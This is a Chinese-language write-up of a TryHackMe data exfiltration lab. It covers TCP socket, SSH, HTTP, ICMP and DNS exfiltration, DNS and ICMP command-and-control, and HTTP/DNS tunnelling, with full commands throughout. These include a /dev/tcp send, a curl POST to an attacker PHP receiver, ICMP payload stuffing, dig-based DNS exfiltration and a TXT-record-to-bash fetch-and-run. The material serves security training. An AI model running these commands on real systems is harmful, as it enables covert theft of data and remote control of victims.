tryhackme——Data Exfiltration
文章目录
- 一、网络拓扑
- 二、数据泄露分类
- 2.1 传统数据泄露
- 2.2 C2通信
- 2.3 隧道
- 三、隧道
- 3.1 Exfiltration using TCP socket
- 3.2 Exfiltration using SSH
- 3.3 Exfiltrate using HTTP(S)
- HTTP隧道
- 3.4 Exfiltration using ICMP
- 3.4.1 ICMP数据包结构
- 3.4.2 MSF实现ICMP数据泄露
- 3.4.3 ICMP C2通信
- 3.5 Exfiltration over DNS
- 3.5.1 DNS配置
- 3.5.2 Exfiltration over DNS
- 3.5.3 通过DNS实现C2通信
- 3.5.4 DNS隧道
数据泄露(Data Exfiltration
)指的是将数据从受感染的计算机复制并传输到攻击者的计算机,依赖于 DNS、HTTP、SSH 等网络协议。通常,使用常见协议进行数据泄露很难检测和区分合法流量和恶意流量。
一、网络拓扑
使用ssh
与跳板机建立连接:
ssh thm@10.10.125.142
# Machine IP: 10.10.125.142
# Username: thm
# Password: tryhackme
二、数据泄露分类
2.1 传统数据泄露
传统的数据泄露场景是将敏感数据从组织网络中转移出去。攻击者可以发起一个或多个网络请求来传输数据,具体取决于数据大小和所使用的协议。所有流量都将单向传输,即从网络内部到外部,一旦数据存储在攻击者的服务器上,攻击者就可以登录服务器并获取数据。通信方向:内网 ------> 外网
2.2 C2通信
许多 C2 框架提供了建立通信通道的选项,包括用于发送命令和接收来自受害机器的响应的标准和非传统协议。在 C2 通信中,攻击者发送有限数量的请求,以在受害者机器上执行命令。然后,代理的客户端执行该命令,并通过非传统协议发送包含结果的回复。通信将双向进行:进入网络和从网络发出。(强调攻击者发送命令且接受响应)
2.3 隧道
在隧道攻击场景中,攻击者使用此数据泄露技术在受害者和攻击者的机器之间建立通信通道。该通信通道充当桥梁,使攻击者的机器能够访问整个内部网络,在建立连接的过程中,会有持续的流量发送和接收。
这节主要介绍隧道使用!!!
三、隧道
3.1 Exfiltration using TCP socket
重点:如何使用数据编码通过 TCP 窃取数据。相关技术包括:TCP套接字、数据编码和归档。
传统TCP通信的工作原理如下图所示,核心在于一个监听一个请求。
监听JumpBox
的8080
端口:
nc -lvp 8080 > /tmp/task4-creds.data
# nc监听8080端口,一旦收到数据,将其存储在/tmp/目录中,并将其命名为task4-creds.data
在AttackBox
上使用ssh
与victim1
建立连接:
ssh thm@victim1.thm.com
# password:tryhackme
读取敏感文件:
cat task4/creds.txt
使用编码将敏感文件发送到JumpBox
:
# 将目录task4/打包、编码并通过网络发送到远程主机
tar zcf - task4/ | base64 | dd conv=ebcdic > /dev/tcp/192.168.0.133/8080
# tar zcf - task4/: 将task4目录打包并用gzip压缩,结果输出到标准输出
## tar: 归档工具
## z: 使用gzip压缩
## c: 创建新归档
## f -: 输出到标准输出(stdout)而不是文件
## task4/: 要打包的目录
# | base64:将tar的输出通过管道传递给base64命令,将二进制数据编码为ASCII字符(Base64编码)。
# | dd conv=ebcdic:将Base64编码的数据转换为EBCDIC编码。
## dd:数据转换工具
# > /dev/tcp/192.168.0.133/8080:将数据通过TCP发送到192.168.0.133的8080端口。
可以看到,刚刚victim1
的敏感数据保存在jumpbox
的/tmp
目录下:
在jumpbox
上使用下面的命令将加密数据还原为原始数据:
cd /tmp
# 还原加密数据
dd conv=ascii if=task4-creds.data |base64 -d > task4-creds.tar# 解压压缩包
tar xvf task4-creds.tar
## x:提取tar文件;
## v:详细列出文件;
## f:使用存档文件。
3.2 Exfiltration using SSH
SSH
协议建立了一个安全通道,用于在客户端和服务器之间进行交互和传输数据,因此所有通过网络或互联网传输的数据都是加密的。
因为jumpbox
和victim1
都开启ssh服务,可以使用ssh进行数据传输(依赖于 SSH 建立的加密通道传输数据)。在victim1
中使用下面的命令:
tar cf - task5/ | ssh thm@jump.thm.com "cd /tmp/; tar xpf -"
# tar zcf - task4/: 将task4目录打包并用gzip压缩,结果输出到标准输出
## tar: 归档工具
## c: 创建新归档
## f -: 输出到标准输出(stdout)而不是文件
# SSH客户端提供了一种无需完整会话即可执行单个命令的方法
## ssh thm@jump.thm.com "cd /tmp/; tar xpf -":ssh联系服务器,并在服务器上执行引号中的命令。
## x:解压归档文件
## p:保留文件权限(如 chmod 权限)
## f -:从 stdin(标准输入)读取tar数据(即tar cf - 传过来的数据)
3.3 Exfiltrate using HTTP(S)
通过 HTTP 协议窃取数据是最佳选择之一,因为它很难检测。区分合法和恶意的 HTTP 流量非常困难。我们将在数据窃取中使用 POST HTTP 方法,因为使用GET
请求时,所有参数都会记录到日志文件中,而使用 POST 请求时则不会(有些也会)。以下是 POST 方法的一些优势:
- POST 请求永远不会被缓存;
- POST 请求不会保留在浏览器历史记录中;
- POST 请求无法被收藏;
- POST 请求对数据长度没有限制;
假设攻击者控制了web.thm.com
,需要将victim1.thm.com
中的数据通过http隧道发送到web.thm.com
。
首先,web.thm.com
中应该有一个接收数据的脚本contact.php
,内容如下:
# 将post请求中file参数的值写入/tmp/http.bs64
<?php
if (isset($_POST['file'])) {$file = fopen("/tmp/http.bs64","w");fwrite($file, $_POST['file']);fclose($file);}
?>
在victim1.thm.com
中执行下面的命令,将敏感数据传输到web.htm.com
:
curl --data "file=$(tar zcf - task6 | base64)" http://web.thm.com/contact.php
# tar zcf - task6:将task6目录打包并压缩为.tar.gz格式,输出到stdout;
# | base64:将二进制数据编码为ASCII字符(Base64 编码),确保可通过HTTP安全传输;
# $(...):将子命令的输出作为字符串嵌入到父命令中,这里将"tar zcf - task6 | base64"的结果作为字符串赋值给file参数;
# curl --data "file=...":
## --data: 发送POST请求(默认 Content-Type: application/x-www-form-urlencoded);
## "file=...": 构造POST数据。
在web.htm.com
中查看收到的数据:
ls /tmp
cat /tmp/http.bs64
# 将文件中的空格替换为+
sudo sed -i 's/ /+/g' /tmp/http.bs64
## sed -i :流编辑器,直接修改文件;
## 替换规则s/原内容/新内容/,g代表替换所有匹配项。
cat /tmp/http.bs64 | base64 -d | tar xvfz -
上述我们展示了通过HTTP
协议进行数据泄露,这意味着所有传输的数据都是明文的。如果在启用SSL
的 Web 服务器上应用之前展示的相同技术,可以看到所有传输的数据都将被加密。如果您有兴趣设置自己的HTTPS服务器,建议您访问Digital Ocean。
HTTP隧道
如果HTTP
协议隧道技术封装了其他协议,并通过HTTP协议来回发送它们,HTTP 隧道会根据通信信道发送和接收大量HTTP请求!
有如下一个典型的场景:uploader.thm.com
服务器可以通过互联网访问,并向所有人提供 Web 服务。然而,app.thm.com
服务器在本地运行,仅为内部网络提供服务,如下图所示:
目的:创建一个HTTP隧道通信通道,以便接入内部网络并通过HTTP协议与本地网络设备进行通信。
假如uploader.thm.com
上有一个Web应用程序,它允许我们将HTTP隧道代理文件上传到uploader.thm.com
。上传并连接到该服务器后,我们就能与app.thm.com
进行通信。
对于HTTP隧道,我们将使用
Neo-reGeorg
工具建立访问内部网络设备的通信通道。
需要生成一个加密的客户端文件,并将其上传到受害者的Web服务器。使用如下命令生成加密的客户端文件:
python3 neoreg.py generate -k thm
# 密钥为:thm
将tunnel.php
上传到ttp://10.10.144.113/uploader
:
通过访问上传的tunnel.php
在attackbox
与uploader.thm.com
之间建立http隧道:
root@AttackBox:/opt/Neo-reGeorg# python3 neoreg.py -k thm -u http://10.10.144.113/uploader/files/tunnel.php
隧道连接成功后,会在本地127.0.0.1:1080
启动一个 SOCKS5代理服务,所有发送到这个端口的流量,都会通过隧道转发到目标网络。
例如,我们想访问flag.thm.com
(其内部 IP 地址为172.20.0.120
,端口为80
),我们可以使用带有--socks5
参数的curl命令:
curl --socks5 127.0.0.1:1080 http://172.20.0.120:80
3.4 Exfiltration using ICMP
ICMP
代表互联网控制消息协议 (ICMP),它是一种用于处理错误报告的网络层协议。路由器等网络设备使用ICMP
协议来检查设备之间的网络连接。
请注意,ICMP 协议不是在设备之间发送数据的传输协议。
假设两台主机需要测试网络中的连通性,那么我们可以使用ping
命令通过网络发送ICMP
数据包,如下图所示。
HOST1
发送一个 ICMP 数据包,其中包含一个回显请求数据包。然后,如果HOST2
可访问,它会返回一个 ICMP 数据包,其中包含一个回显应答消息。
3.4.1 ICMP数据包结构
ICMP数据包的结构包含一个可选的数据字段,它可以为空,也可以在通信期间包含随机字符串。作为攻击者,我们可以将数据包含在数据字段中,并通过ICMP
数据包将其发送到另一台计算机。另一台计算机必须使用ICMP
数据包捕获网络流量才能接收数据。
使用ping
命令发送ICMP数据包:
ping 10.10.144.113 -c 1
可以看到,ICMP数据包中数据字段被随机字符填充。
Linux操作系统中的ping
命令有一个有趣的 ICMP 选项,使用-p
参数,我们可以指定 16个字节的十六进制数据,并通过数据包发送。
请注意,
-p
选项仅适用于Linux操作系统。
假设我们拿到了凭证,需要将其通过ICMP协议带出去。可以使用下面的命令:
# 将thm:tryhackme转化为16进制数据
echo "thm:tryhackme" | xxd -p
# xxd是一个十六进制转储工具(通常用来查看或转换二进制数据)
# -p:表示以纯十六进制连续输出
再使用ICMP协议传输转化为16进制的凭证:
ping 10.10.144.113 -c 1 -p 74686d3a7472796861636b6d650a
成功填充到ICMP数据包的数据字段中。
3.4.2 MSF实现ICMP数据泄露
下面,我们将利用MSF实现ICMP数据泄露,其实就是通过MSF自动捕获ICMP数据包中的数据字段。详细来说,MSF会捕获传入的 ICMP 数据包并等待文件开头 (BOF) 触发值;收到触发值后,它会将数据写入磁盘,直到收到文件结尾 (EOF) 触发值
在attackbox
上,使用MSF部署ICMP监听模块:
# 选择ICMP监听模块
use auxiliary/server/icmp_exfil
# 设置一个BPF (Berkeley Packet Filter)过滤器
## icmp:仅捕获ICMP协议的数据包
## not src 10.10.176.72:排除源地址为10.10.176.72的ICMP数据包
set BPF_FILTER icmp and not src 10.10.176.72
# 设置监听的网卡
set INTERFACE ens5
run
使用ssh从attackbox
登录到jumpbox
,再使用ssh
从jumpbox
登录到icmp.thm.com
。
在icmp.thm.com
上,使用nping
发送一个自定义数据的ICMP数据包:
sudo nping --icmp -c 1 10.10.176.72 --data-string "BOFfile.txt"
# --icmp:指定使用ICMP协议;
# -c 1:只发送一个数据包;
# --data-string "BOFfile.txt":在ICMP包中嵌入自定义字符串“BOFfile.txt”,通常是嵌入到ICMP数据包的数据字段中
sudo nping --icmp -c 1 10.10.176.72 --data-string "admin:password"
sudo nping --icmp -c 1 10.10.176.72 --data-string "admin2:password2"
sudo nping --icmp -c 1 10.10.176.72 --data-string "EOF"
MSF默认触发触发值:
BOFfile.txt
,默认结束值:EOF
。
3.4.3 ICMP C2通信
下面,将演示使用ICMPDoor
工具通过ICMP协议执行命令。
ICMPDoor
原理:攻击者仍然利用ICMP数据包中的数据字段发送命令,命令执行后,受害者机器会将执行输出存放在ICMP数据包的数据字段中,并通过ICMP协议返回给攻击者。
目的:jump.thm.com
作为服务端(主动连接),icmp.thm.com
作为客户端(监听)。
在icmp.thm.com
上使用下面的命令完成监听:
thm@icmp-host:~$ sudo icmpdoor -i eth0 -d 192.168.0.133
# -i: 192.168.0.121的网卡
# 192.168.0.133:jump.thm.com地址,服务端地址
在jump.thm.com
上执行下面的命令,建立icmp C2通信:
thm@jump-box$: sudo icmp-cnc -i eth1 -d 192.168.0.121
# -i: 192.168.0.133的网卡
# 192.168.0.121:icmp.thm.com地址,客户端地址
3.5 Exfiltration over DNS
3.5.1 DNS配置
有一台新的设备加入network 2
,域名:attacker.thm.com
,IP:172.20.0.200
。网络1和网络2的关系如下:
通过http://10.10.217.212/
对DNS进行设置:
添加A记录:对应权威DNS服务器的IP。当用户查询t1ns.tunnel.com
时,DNS系统会返回172.20.0.200
。
NS记录:指定某个子域名的权威DNS服务器,告诉客户端该去找哪台服务器解析域名。将t1.tunnel.com
的所有查询委托给t1ns.tunnel.com
。
当查询xxx.t1.tunnel.com
时:
- 递归 DNS 服务器会先找到
t1.tunnel.com
的NS记录(指向t1ns.tunnel.com
)。 - 向
t1ns.tunnel.com
(IP=172.20.0.200
)发起查询,询问xxx.t1.tunnel.com
的IP。 t1ns.tunnel.com
(IP=172.20.0.200
)可以自由返回任意 IP(如1.1.1.1
或恶意 C2 服务器 IP)。
常见误区澄清:
❌ 误区:xxx.t1.tunnel.com
的 IP == t1ns.tunnel.com
的 IP(172.20.0.200
)。
✅ 真相:172.20.0.200
只是 DNS 服务器的地址,xxx.t1.tunnel.com
的 IP 由该服务器动态返回。
❌ 误区:NS记录直接返回 IP。
✅ 真相:NS记录只指定权威服务器,需进一步查询A/AAAA/CNAME记录才能获取 IP。
3.5.2 Exfiltration over DNS
DNS协议主要目的是将域名解析为IP地址,尽管DNS协议并非设计用于传输数据,但威胁行为者找到了滥用该协议并通过其传输数据的方法。而且,几乎所有组织网络中的防火墙都允许使用 DNS 协议,因此,这里展示通过DNS协议窃取数据的技术。
首先,DNS协议中存在关于域名格式的核心规则:
- FQDN(完全限定域名)最大长度为255 字节。完整域名长度最长255字节
- 子域名最大长度为63 字节。下图中WWW最长63字节。
基于上述规则,我们可以使用有限的字符数通过域名传输数据。通过DNS进行数据泄露的要求和步骤,具体如下:
- 攻击者注册一个域名,例如
tunnel.com
。 - 攻击者将
tunnel.com
的NS记录指向其控制的服务器(ns1.tunnel.com
)。 - 恶意软件或攻击者将敏感数据从受害计算机发送到其控制的域名,例如
passw0rd.tunnel.com
,其中passw0rd
是需要传输的数据。 - DNS请求通过本地DNS服务器发送,并通过互联网转发。
- 攻击者的权威DNS(恶意服务器)接收DNS请求。
- 攻击者从域名中提取密码。
其中,有两个技术细节:
- 递归查询过程:
- DNS解析请求 → 本地DNS服务器;
- 本地DNS服务器 → 查询根域名服务器 → 找到
.com
的权威服务器。 - 查询
.com
的权威服务器 → 找到tunnel.com
的NS记录(指向ns1.tunnel.com
)。 - 向
ns1.tunnel.com
(攻击者服务器)发起查询。
- DNS协议本身会将完整域名(包括子域名)发送到权威服务器。
例如,查询passw0rd.tunnel.com
时,passw0rd
会作为查询的一部分到达tunnel.com
的权威服务器(攻击者控制)。在查询tunnel.com
时,tunnel
会作为查询的一部分到达.com
的权威服务器。
何时需要使用DNS数据渗透
典型的场景是防火墙阻止并过滤所有流量,我们可以使用DNS协议让数据或 TCP/UDP 数据包穿过防火墙,但务必确保 DNS 被允许访问,并将域名解析为 IP 地址。
修改DNS记录
现在,让我们尝试在提供的网络环境中执行 DNS 数据泄露。请注意,在本场景中,我们将使用 tunnel.com 域名。我们还提供了一个 Web 界面,用于修改 tunnel.com 的 DNS 记录,以插入指向 AttackBox 计算机的名称服务器 (NS)。请确保在任务 8 中完成这些设置。
DNS 数据泄露
现在,解释一下手动DNS数据泄露技术及其工作原理。假设我们有一个包含敏感数据的creds.txt
文件,要通过DNS协议传输该文件,我们需要对文件内容进行编码,并将其作为子域名附加,如下所示:
- 获取需要传输的数据;
- 使用一种编码技术对文件进行编码;
- 将编码后的字符作为子域名发送。
注意:
- 我们可以向域名添加尽可能多的数据,但必须将整个URL限制在255个字符以内,并且每个子域名标签不能超过63个字符。
- 如果超出这些限制,需要拆分数据并发送更多DNS请求。
首先,在jumpbox
通过ssh协议登录到攻击者电脑上:
thm@jump-box$ ssh thm@attacker.thm.com
为了接收所有DNS请求,我们在攻击者电脑上使用tcpdump
工具捕获任何传入的 UDP/53数据包的网络流量。
thm@attacker$ sudo tcpdump -i eth0 udp port 53 -v
在jumpbox
通过ssh协议登录到victim2
电脑上:
thm@jump-box$ ssh thm@victim2.thm.com
假设要传输的敏感数据为credit.txt
:
为了发送文件的内容,我们需要将其转换为字符串表示形式,这可以使用任何编码表示形式(例如 Base64、十六进制、二进制等)来完成。这里我们使用Base64
对文件进行如下编码:
thm@victim2$ cat task9/credit.txt | base64
然后,我们需要根据输出的长度(DNS 限制)将其拆分为一个或多个 DNS 请求,并将其作为子域名附加。让我们先从拆分多个DNS请求开始,演示这两种方法。
DNS拆分方法1
thm@victim2:~$ cat task9/credit.txt | base64 | tr -d "\n"| fold -w18 | sed -r 's/.*/&.att.tunnel.com/'
# | tr -d "\n":删除所有的换行符,使Base64编码成为连续的单行字符串。
## tr:translate是一个字符替换/删除工具。
## -d:删除指定的字符。
## "\n" 代表换行符。
# | fold -w18:将长字符串按每18个字符一行进行折行。
## fold:一个文本折行工具。
## -w18:每行最多 18 个字符。
# | sed -r 's/.*/&.att.tunnel.com/':在每一行的末尾添加.att.tunnel.com后缀。
## sed:流编辑器,用于文本替换/处理。
## -r:使用正则表达式(支持&等特殊符号)。
## s/.*/&.att.tunnel.com/:正则表达式规则:
### .* 匹配整行内容。
### & 代表匹配到的内容(即整行)。
### &.att.tunnel.com,即原内容+.att.tunnel.com。
DNS拆分方法2
thm@victim2:~$ cat task9/credit.txt |base64 | tr -d "\n" | fold -w18 | sed 's/.*/&./' | tr -d "\n" | sed s/$/att.tunnel.com/
# sed 's/.*/&./':在每一行的末尾添加一个点.。
# sed s/$/att.tunnel.com/:在每一行的末尾添加 att.tunnel.com
## $:匹配行尾
使用第二种方法通过DNS实现数据泄露:
thm@victim2:~$ cat task9/credit.txt |base64 | tr -d "\n" | fold -w18 | sed 's/.*/&./' | tr -d "\n" | sed s/$/att.tunnel.com/ | awk '{print "dig +short " $1}' | bash
# awk '{print "dig +short " $1}':读取输入内容,批量生成dig +short查询命令。
## awk:awk是一个文本处理工具,按行处理输入数据;
## {print "dig +short " $1}:对每一行执行;
### $1:提取该行的第一列(默认以空格/Tab分隔)。
# | bash:将awk生成的命令通过管道传递给bash解释器直接执行
在攻击机上可以看到DNS解析记录:
恢复敏感数据:
thm@attacker:~$ echo "TmFtZTogVEhNLXVzZX.IKQWRkcmVzczogMTIz.NCBJbnRlcm5ldCwgVE.hNCkNyZWRpdCBDYXJk.OiAxMjM0LTEyMzQtMT.IzNC0xMjM0CkV4cGly.ZTogMDUvMDUvMjAyMg.pDb2RlOiAxMzM3Cg==.att.tunnel.com." | cut -d"." -f1-8 | tr -d "." | base64 -d
# cut -d"." -f1-8:提取前8个以.分隔的部分。
## -d".":指定分隔符为.(默认是 Tab);
## -f1-8:选择第1到第8个字段(以.分割的部分);
# tr -d ".":删除所有.字符,将多行合并为连续的Base64字符串。
3.5.3 通过DNS实现C2通信
除了通过DNS协议传输敏感信息,还可以通过TXT记录下发命令脚本。
首先,为script.tunnel.com
设置txt记录,内容为下面脚本的base64编码:
## /tmp/script.sh脚本内容
#!/bin/bash
ping -c 1 test.thm.com## 脚本内容进行base64编码
cat /tmp/script.sh | base64
在victim2
上请求script.tunnel.com
的TXT
记录,将会返回base64化的脚本内容。
使用下面命令执行脚本内容
dig +short -t TXT script.tunnel.com | tr -d "\"" | base64 -d | bash
# tr -d "\"":删除";
# | base64 -d | bash:解码后让bash执行。
3.5.4 DNS隧道
DNS隧道:此技术也称为 TCP over DNS,攻击者使用 DNS 数据泄露技术,将其他协议(例如 HTTP 请求)封装在DNS协议上。DNS 隧道建立了一个通信通道,用于持续发送和接收数据。
我们将使用iodine工具创建 DNS 隧道通信。要建立 DNS 隧道,需要遵循以下步骤:
- 确保更新 DNS 记录并创建新的 NS 指向AttackBox.
- 从AttackBox运行
iodined
服务器。 (注意:服务器端我们使用iodined
) - 在
JumpBox
上运行iodine
客户端建立连接。(注意:客户端我们使用iodine
) - 通过 SSH 连接到已创建的网络接口上的机器,以创建 DNS 代理。我们将使用 -D 参数创建动态端口转发。
- 建立 SSH 连接后,我们可以在 Firefox 或 ProxyChains 中使用本地 IP 和本地端口作为代理。
iodine工作原理:
- DNS 隧道建立
- 服务端(此命令)监听来自客户端的 DNS 查询(通常是对 att.tunnel.com 的子域名请求)。
- 所有隧道数据被编码为 DNS 请求/响应(如 data123.att.tunnel.com)。
- 虚拟网络配置
- 服务端创建一个虚拟网络接口(如 dns0),IP 为 10.1.1.1。
- 客户端连接后,会分配到 10.1.1.2、10.1.1.3 等 IP,形成点对点网络。
- 数据传输
- 客户端将流量封装到 DNS 查询中,发送到服务端。
- 服务端解码后转发到真实网络,并将响应通过 DNS 返回。
在攻击机上运行下面的命令:
thm@attacker$ sudo iodined -f -c -P thmpass 10.1.1.1/24 att.tunnel.com
# -f:前台运行(显示调试信息,不转为后台进程)
# -c:禁用客户端 IP 检查(允许任何客户端连接)
# -P thmpass:设置认证密码为 thmpass(客户端需匹配)
# 10.1.1.1/24:指定隧道内使用的虚拟 IP 范围(服务端占用 10.1.1.1)
# att.tunnel.com:攻击者控制的域名,用于封装DNS请求
在jumpbox
上运行下面的命令,连接服务端:
thm@jump-box:~$ sudo iodine -P thmpass att.tunnel.com
通过查看jumpbox
上的ifconfig
,可以看到一个虚拟网卡;
在攻击机(172.20.0.200)上可以通过ssh与iodine
客户端(jumpbox
)建立联系,实现DNS隧道+SSH加密的目的:
root@attacker$ ssh thm@10.1.1.2 -4 -f -N -D 1080
# -4:强制使用IPv4(禁用IPv6)
# -f:后台运行(连接成功后转入后台)
# -N:不执行远程命令(仅建立隧道)
# -D 1080:在本地1080端口开启SOCKS代理
通过socks5代理实现隧道通信:
curl --socks5 127.0.0.1:1080 http://192.168.0.100/test.php
核心:DNS隧道突破限制 → SSH加密增强隐蔽性 → SOCKS代理标准化使用
流量方向:攻击者 → 攻击者1080端口 → SSH加密 → 10.1.1.2服务器(跳板机) → 目标网站/服务
相关文章:

tryhackme——Data Exfiltration
文章目录 一、网络拓扑二、数据泄露分类2.1 传统数据泄露2.2 C2通信2.3 隧道 三、隧道3.1 Exfiltration using TCP socket3.2 Exfiltration using SSH3.3 Exfiltrate using HTTP(S)HTTP隧道 3.4 Exfiltration using ICMP3.4.1 ICMP数据包结构3.4.2 MSF实现ICMP数据泄露3.4.3 IC…...

阿里云服务器采用crontab定时任务使acme.sh全自动化申请续签免费SSL证书,并部署在Linux宝塔网站和雷池WAF
阿里云服务器安装Linux宝塔面板用于部署网站,又安装了雷池WAF用于防护网站,网站访问正常。可以参考文章:Linux服务器安装Linux宝塔面板并部署wordpress网站以及雷池WAF 本文介绍使用 acme.sh 通过 DNS API 全自动申请和续签免费Let’s Encry…...
day40 python图像数据与显存
目录 一、图像数据的处理与预处理 (一)图像数据的特点 (二)数据预处理 二、神经网络模型的定义 (一)黑白图像模型的定义 (二)彩色图像模型的定义 (三)…...
Python+VR:如何让虚拟世界更懂你?——用户行为分析的实践
友友们好! 我是Echo_Wish,我的的新专栏《Python进阶》以及《Python!实战!》正式启动啦!这是专为那些渴望提升Python技能的朋友们量身打造的专栏,无论你是已经有一定基础的开发者,还是希望深入挖掘Python潜力的爱好者,这里都将是你不可错过的宝藏。 在这个专栏中,你将会…...

【华为鸿蒙电脑】首款鸿蒙电脑发布:MateBook Fold 非凡大师 MateBook Pro,擎云星河计划启动
文章目录 前言一、HUAWEI MateBook Fold 非凡大师(一)非凡设计(二)非凡显示(三)非凡科技(四)非凡系统(五)非凡体验 二、HUAWEI MateBook Pro三、预热…...
性能优化深度实践:突破vue应用性能
一、性能优化深度实践:突破 Vue 应用性能边界 1. 虚拟 DOM 性能边界分析 核心原理: 虚拟 DOM 是 Vue 的核心优化策略,通过 JS 对象描述真实 DOM 结构。当状态变化时: 生成新虚拟 DOM 树Diff 算法对比新旧树差异仅更新变化的真实…...
服务器定时任务查看和编辑
在 Ubuntu 系统中,查看当前系统中已开启的定时任务主要有以下几种方式,分别针对不同类型的定时任务管理方式(如 crontab、systemd timer 等): 查看服务器定时任务 一、查看用户级别的 Crontab 任务 每个用户都可以配…...

SpringBoot Controller接收参数方式, @RequestMapping
一. 通过原始的HttpServletRequest对象获取请求参数 二. 通过Spring提供的RequestParam注解,将请求参数绑定给方法参数 三. 如果请求参数名与形参变量名相同,直接定义方法形参即可接收。(省略RequestParam) 四. JSON格式的请求参数(POST、PUT) 主要在PO…...
double怎么在c/c++中输出保留输出最小精度为一位
在C中,使用std::cout输出double类型时,可以通过<iomanip>头文件中的std::fixed和std::setprecision来控制小数位数的输出。以下是几种常见场景的解决方案: 1. 输出至少1位小数(不足补零) #include <…...

端午节互动网站
端午节互动网站 项目介绍 这是一个基于 Vue 3 Vite 开发的端午节主题互动网站,旨在通过有趣的交互方式展示中国传统端午节文化。网站包含三个主要功能模块:端午节介绍、互动包粽子游戏和龙舟竞赛游戏。 预览网站:https://duanwujiekuaile…...
[特殊字符] NAT映射类型详解:从基础原理到应用场景全解析
网络地址转换(NAT)是解决IPv4地址短缺的核心技术,通过IP地址映射实现内网与公网的通信。本文将系统梳理NAT映射的三大类型及其子类,助你全面掌握其工作机制与应用场景。 目录 🔧 一、基础NAT映射类型:按转…...

react-color-palette源码解析
项目中用到了react-color-palette组件,以前对第三方组件都是不求甚解,这次想了解一下其实现细节。 简介 react-color-palette 是一个用于创建颜色调色板的 React 组件。它提供了一个简单易用的接口,让开发者可以轻松地创建和管理颜色调色板。…...

在 Ubuntu 上安装 NVM (Node Version Manager) 的步骤
NVM (Node Version Manager) 是一个用于管理多个 Node.js 版本的工具,它允许您在同一台设备上安装、切换和管理不同版本的 Node.js。以下是在 Ubuntu 上安装 NVM 的详细步骤: 安装前准备 可先在windows上安装ubuntu 参考链接:https://blog.…...

重温经典算法——插入排序
版权声明 本文原创作者:谷哥的小弟作者博客地址:http://blog.csdn.net/lfdfhl 基本原理 插入排序是一种基于元素逐步插入的简单排序算法,其核心思想是将待排序序列分为已排序和未排序两部分,每次从未排序部分取出第一个元素&…...
在VirtualBox中打造高效开发环境:CentOS虚拟机安装与优化指南
🔥「炎码工坊」技术弹药已装填! 点击关注 → 解锁工业级干货【工具实测|项目避坑|源码燃烧指南】 一、为何选择VirtualBox CentOS组合? 对于程序员而言,构建隔离的开发测试环境是刚需。VirtualBox凭借其跨平台支持(W…...

塔能科技:为多行业工厂量身定制精准节能方案
在当今追求可持续发展的时代,工厂能耗精准节能成为众多企业关注的焦点。塔能科技凭借先进的技术和丰富的经验,服务于广泛的行业客户,其中55.5%来自世界500强和上市公司。针对不同行业工厂的特点和需求,塔能提供了一系列行之有效的…...

【实证分析】上市公司全要素生产率+5种测算方式(1999-2024年)
上市公司的全要素生产率(TFP)衡量企业在资本、劳动及中间投入之外,通过技术进步、管理效率和规模效应等因素提升产出的能力。与单纯的劳动生产率或资本生产率不同,TFP综合反映了企业创新能力、资源配置效率和组织优化水平…...

弥散制氧机工作机制:高原低氧环境的氧浓度重构技术
弥散制氧机通过空气分离与智能扩散技术,将氧气均匀分布于封闭或半封闭空间,实现环境氧浓度的主动调控。其核心在于 “分子筛吸附动态均布智能反馈” 的协同作用机制,为高原、矿井、医疗等场景提供系统性氧环境解决方案。 一、空气分离&#x…...

[Python] 避免 PyPDF2 写入 PDF 出现黑框问题:基于语言自动匹配系统字体的解决方案
在使用 Python 操作 PDF 文件时,尤其是在处理中文、日语等非拉丁字符语言时,常常会遇到一个令人头疼的问题——文字变成“黑框”或“方块”,这通常是由于缺少合适的字体支持所致。本文将介绍一种自动选择系统字体的方式,结合 PyPDF2 模块解决此类问题。 一、问题背景:黑框…...

《基于Keepalived+LVS+Web+NFS的高可用集群搭建》
目 录 1 项目概述 1.1 项目背景 1.2 项目功能 2 项目的部署 2.1 部署环境介绍 2.2 项目的拓扑结构 2.3 项目环境调试 2.4 项目的部署 2.5 项目功能的验证 2.6 项目对应服务使用的日志 3 项目的注意事项 3.1 常见问题与解决方案 3.2 项目适用背…...
RabbitMQ搭建集群
要在 Windows 或 Linux(CentOS 7.9) 上搭建 RabbitMQ 集群,基本思路是: 🗂️ 架构说明 主机角色IP节点名称A主节点10.152.132.1rabbitnode1B备节点10.152.132.2rabbitnode2 集群目标:两台 RabbitMQ 节点加…...

时间序列预测算法中的预测概率化笔记
文章目录 1 预测概率化的前情提要2 预测概率化的代码示例3 预测概率化在实际商业应用场景探索3.1 智能库存与供应链优化 1 预测概率化的前情提要 笔者看到【行业SOTA,京东首个自研十亿级时序大模型揭秘】提到: 预测概率化组件:由于大部分纯时…...

2025-05-28 Python深度学习8——优化器
文章目录 1 工作原理2 常见优化器2.1 SGD2.2 Adam 3 优化器参数4 学习率5 使用最佳实践 本文环境: Pycharm 2025.1Python 3.12.9Pytorch 2.6.0cu124 优化器 (Optimizer) 是深度学习中的核心组件,负责根据损失函数的梯度来更新模型的参数,使…...

篇章二 数据结构——前置知识(二)
目录 1. 包装类 1.1 包装类的概念 1.2 基本数据类型和对应的包装类 1.3 装箱和拆箱 1.4 自动装箱和自动拆箱 1.5 练习 —— 面试题 2. 泛型 2.1 如果没有泛型——会出现什么情况? 2.2 语法 2.3 裸类型 1.没有写<> 但是没有报错为什么? …...
如果是在服务器的tty2终端怎么查看登陆服务器的IP呢
1. 如果是在服务器的tty2终端怎么查看登陆服务器的IP呢 在服务器的 tty2 或其他终端会话中,要查看与该服务器的连接相关的 IP 地址,可以使用几种命令来获取这些信息: 1.1 使用 who 命令: who 命令可以显示当前登录到服务器上的…...
Java求职面试:从核心技术到AI与大数据的全面考核
Java求职面试:从核心技术到AI与大数据的全面考核 第一轮:基础框架与核心技术 面试官:谢飞机,咱们先从简单的开始。请你说说Spring Boot的启动过程。 谢飞机:嗯,Spring Boot启动的时候会自动扫描组件&…...
ubuntu24.04与ubuntu22.04比,有什么新特性?
Ubuntu 24.04 LTS (Noble Numbat) 相较于 Ubuntu 22.04 LTS (Jammy Jellyfish) 带来了许多重要的新特性和改进。以下是一些关键的亮点: Linux Kernel: Ubuntu 24.04 LTS: 搭载了更新的 Linux Kernel 6.8(发布时)。 Ubuntu 22.04 LTS: 发布时…...

Flutter Container组件、Text组件详解
目录 1. Container容器组件 1.1 Container使用 1.2 Container alignment使用 1.3 Container border边框使用 1.4 Container borderRadius圆角的使用 1.5 Container boxShadow阴影的使用 1.6 Container gradient背景颜色渐变 1.7 Container gradient RadialGradient 背景颜色渐…...

Telegram平台分发其聊天机器人Grok
